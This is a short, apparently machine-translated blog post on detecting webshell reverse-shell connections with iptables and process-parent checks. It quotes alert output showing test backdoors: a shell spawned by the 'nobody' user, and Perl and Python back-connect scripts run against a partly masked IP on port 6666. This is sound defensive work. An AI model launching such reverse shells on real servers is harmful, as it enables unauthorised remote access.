How to effectively detect webshell bounce

From: http://hi.baidu.com/x13ky

Some friends said that webshell detection is not enough. The problem is that if a large area of push is required, I have currently written the webshell detection code, and there are still false positives. I am numb when I read the alarm email every day, so I want to improve the accuracy. In addition, if the file volume is large, the updates are frequent, and the access volume is large, it is difficult to push the file.

Some friends also said that it is difficult to detect network connections. Likewise, there is a large network connection and there is no dedicated device to do this. Because of the cost, you know.

The other is the agent, which captures sensitive actions, such as bash initiated by a nobody user.

In fact, the first thought was to use iptables to directly limit the rebound, and then record the sensitive log, and analyze the log alarm to find webshell. I wrote a previously written iptables script, restricted output, and tested nmap hping in more detail. The results produced the problems I discussed in the group yesterday, it is the phenomenon that the web 80 actively ack others. The iptables status is quite familiar, so it is strange that the iptables status is messy due to network packet problems, one possibility is the legendary ackbackdoor: There is no conclusion yet.

During the communication with kevin1986, we found that there was something missing when judging the parent process. The parent process of the c version below is 1. Of course, talking to him gave me a simple idea (thanks to ing), so I wrote a very frustrating script and tested several situations, and I felt okay, the alarm email content is as follows:

 

Below is c's

Found webshell back connect on fuckit

Nobody 7032 1 0 12: 57? 00:00:00 sh-I

 

The following is a perl

Found webshell back connect on fuckit

Nobody 7301 1 0 13:00? 00:00:00 lynx

Nobody 7302 7301 0? 00:00:00 sh-c echo "'uname-a'"; echo "'id'";/bin/sh

Nobody 7307 7302 0? 00:00:00/bin/sh

 

Next, upload the perl backdoor for execution.

Found webshell back connect on fuckit

Nobody 8137 2257 0? 00:00:00 perl/usr/local/zeus/htdocs/www.xxxx.com/back.pl 121.9.227.xx 6666

Nobody 8144 8137 0? 00:00:00 sh-I

 

Next, upload the py backdoor for execution.

Nobody 8203 1924 0? 00:00:00 python/usr/local/zeus/htdocs/www.xxxx.com/back.py 121.9.227.xx 6666

Nobody 8204 8203 0 00:00:00 pts/1/bin/sh

Because the code is frustrated, I will not post it. You can understand the above content :)

You are welcome to discuss and learn from this experience :)